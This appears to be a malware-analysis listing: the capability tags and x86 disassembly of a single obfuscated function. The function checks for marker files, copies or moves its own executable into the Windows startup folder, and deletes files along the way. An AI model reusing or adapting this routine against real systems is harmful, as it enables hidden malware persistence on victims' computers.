Function at 0x40e460
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x460640]
xor eax, esp
mov dword [esp + 0x304], eax
push ebx
push esi
mov esi, dword [0x45ebd0]
mov eax, 0x1671bc81
imul esi
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push edi
mov edi, dword [0x45ebe4]
mov eax, 0x1a129787
imul edi
sar edx, 0x1a
add ecx, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45ebcc]
mov eax, 0x78d1ad69
imul ecx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, ecx
imul edx, edx, 0x68114d02
add ebx, edx
mov edx, dword [str._r_____r____]
mov eax, edx
imul eax, eax, 0x7e501e9
add ebx, eax
mov eax, dword [0x45ebc8]
imul eax, eax, 0x3580338c
add ebx, eax
mov eax, 0x3dbc891d
imul edx
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [0x45ebdc], ebx
mov ebx, eax
mov eax, 0x1671bc81
imul edi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ebd4]
sub ebx, eax
imul edx, edx, 0x43ce2184
mov eax, dword [0x45ebd8]
imul eax, eax, 0x2746608a
add ebx, edx
add ebx, eax
mov eax, 0x1a129787
imul ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x4eb7d3f9
imul esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
sub ebx, ecx
add eax, edx
sub ebx, eax
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45ebe4], ebx
call fcn.004318dd
add esp, 8
cmp eax, 0xffffffff
je 0x40ea8d
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.004318dd
add esp, 8
cmp eax, 0xffffffff
je 0x40ea8d
mov ecx, dword [0x45ebe0]
mov esi, ecx
mov eax, 0x78d1ad69
imul esi, esi, 0x5c7bb4
imul ecx
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45ebd0]
mov eax, 0x46d65f19
imul ecx
mov ecx, dword [0x45ebe4]
sar edx, 0x1a
add esi, edx
mov edi, edx
mov edx, dword [0x45ebd8]
imul edx, edx, 0x7e501e9
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0x81b5a619
imul ecx
add edx, ecx
mov ecx, dword [0x45ebdc]
sar edx, 0x1a
mov esi, edx
add edi, edx
mov eax, 0x4c8f4365
imul ecx
push ebp
sar edx, 0x1c
shr esi, 0x1f
mov eax, edx
push 0x104
add esi, edi
lea ecx, [esp + 0x218]
shr eax, 0x1f
add esi, edx
push ecx
add eax, esi
push 0
mov dword [0x45ebc8], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x214]
push 0x5c
push edx
call fcn.00432340
mov esi, eax
push str..exe
lea eax, [esp + 0x220]
push eax
lea ecx, [esp + 0x24]
push str._s_s
push ecx
inc esi
call fcn.00431541
mov ecx, dword [0x45ebd0]
mov eax, 0x3dbc891d
imul ecx
mov ecx, dword [0x45ebe8]
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xe98e437f
imul ecx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x2d9fc474
mov ebx, eax
mov eax, dword [0x45ebe4]
sub ebx, edi
add esp, 0x18
add ebx, edx
imul eax, eax, 0x21e6e566
imul ecx, ecx, 0x34652235
mov ebp, dword [0x45ebe0]
add ebx, eax
add ebx, ecx
mov ecx, dword [0x45ebd8]
mov eax, 0x81b5a619
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
push 0
add ecx, ebx
push 0x18
lea edx, [esp + 0x11c]
sub ecx, ebp
push edx
sub ecx, 0x7e501e9
push 0
mov dword [0x45ebd0], ecx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x114]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e6f6
sub eax, ecx
push esi
lea eax, [esp + eax + 0x118]
push 0x44f274
push eax
call fcn.00431541
mov esi, dword [0x45ebc8]
mov eax, 0x1a129787
imul esi
sar edx, 0x1a
mov ecx, edx
mov edi, esi
imul edi, edi, 0x2746608a
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45ebe0]
mov eax, 0x1e3444b9
imul ecx
mov ebx, dword [0x45ebe8]
sar edx, 0x1a
mov ebp, edx
add edi, edx
shr ebp, 0x1f
add ebp, edi
mov edi, dword [0x45ebcc]
mov edx, edi
imul edx, edx, 0x21e710c2
mov ecx, dword [str._r_____r____]
add ebp, edx
mov eax, 0x46d65f19
imul ebx
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x9c59c36b
imul ecx
add edx, ecx
sar edx, 0x1d
add ebp, edx
mov ecx, edx
mov edx, ebx
imul edx, edx, 0x7e501e9
shr ecx, 0x1f
add ecx, ebp
add esp, 0xc
sub ecx, edx
mov dword [0x45ebd8], ecx
mov dword [esp + 0x10], 0
jmp 0x40e7d0
mov esi, dword [0x45ebc8]
mov edi, dword [0x45ebcc]
mov ecx, dword [0x45ebd8]
mov ebx, dword [0x45ebe8]
jmp 0x40e7d0
mov edx, dword [0x45ebd0]
imul esi, esi, 0x34652235
imul ecx, ecx, 0x3580338c
mov eax, dword [0x45ebd4]
imul edi, edi, 0x7e501e9
lea ebp, [eax + edx]
mov eax, 0x3dbc891d
imul ebp, ebp, 0x212c5ae6
imul edx
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x4eb7d3f9
imul ebx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
sub ebp, esi
add ebp, edx
add eax, ebp
add eax, ecx
lea ecx, [esp + 0x14]
sub eax, edi
push 0
push ecx
mov dword [0x45ebe0], eax
call fcn.004318dd
add esp, 8
cmp eax, 0xffffffff
je 0x40e858
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x64
mov dword [esp + 0x10], eax
jl 0x40e7ad
mov eax, 0x1a129787
imul dword [0x45ebc8]
sar edx, 0x1a
mov ecx, edx
mov esi, dword [0x45ebd8]
shr ecx, 0x1f
add ecx, edx
mov eax, 0x1e3444b9
imul dword [0x45ebdc]
sar edx, 0x1a
add ecx, edx
mov edi, edx
mov edx, dword [0x45ebd0]
imul edx, edx, 0xe74a505
shr edi, 0x1f
add edi, ecx
mov ecx, dword [0x45ebd4]
add edi, edx
mov eax, esi
imul eax, eax, 0x18d1bb85
mov edx, ecx
imul edx, edx, 0x7e501e9
sub edi, eax
sub edi, edx
mov eax, 0x4c8f4365
imul esi
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov dword [0x45ebe8], edi
mov edi, dword [esp + 0x31c]
test edi, edi
pop ebp
je 0x40e8e0
cmp edi, 2
jne 0x40e9ba
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x114]
push ecx
lea edx, [esp + 0x18]
push edx
call esi
test eax, eax
jne 0x40e9ae
mov ecx, dword [0x45ebd8]
mov eax, 0x1671bc81
imul ecx
mov ecx, dword [0x45ebcc]
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x1671bc81
imul ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ebdc]
imul edx, edx, 0x564c079b
mov ebx, ecx
mov ecx, dword [0x45ebd4]
sub ebx, edi
add ebx, edx
mov eax, 0x1a129787
imul ecx
mov eax, dword [0x45ebe0]
imul eax, eax, 0xe74a505
sar edx, 0x1a
mov edi, edx
add ebx, edx
shr edi, 0x1f
add edi, ebx
add edi, eax
mov eax, 0x4eb7d3f9
imul ecx
sar edx, 0x1c
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 6
lea edx, [esp + 0x114]
push edx
lea eax, [esp + 0x18]
sub edi, ecx
push eax
mov dword [str._r_____r____], edi
call esi
pop edi
pop esi
mov eax, 0xfffffffe
pop ebx
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.0043136d
add esp, 0x308
ret
mov esi, dword [0x45ebd8]
mov ecx, dword [0x45ebd4]
mov eax, 0x3dbc891d
imul dword [0x45ebdc]
sar edx, 0x1b
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x1671bc81
imul esi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1671bc81
imul dword [0x45ebc8]
sar edx, 0x1a
add ebx, edx
mov esi, edx
mov eax, 0x78d1ad69
imul dword [0x45ebd0]
sar edx, 0x1c
shr esi, 0x1f
add esi, ebx
add esi, edx
mov ebx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x34652235
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov edx, dword [0x45ebe0]
mov eax, 0x4eb7d3f9
imul edx
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x81b5a619
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
cmp edi, 1
mov dword [0x45ebcc], ecx
je 0x40ea5e
cmp edi, 2
jne 0x40ea73
push 0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.0043136d
add esp, 0x308
ret
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.0043136d
add esp, 0x308
ret